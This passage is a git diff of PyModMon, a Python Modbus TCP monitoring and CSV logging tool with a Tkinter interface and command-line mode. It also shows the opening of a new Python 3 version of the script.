'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. 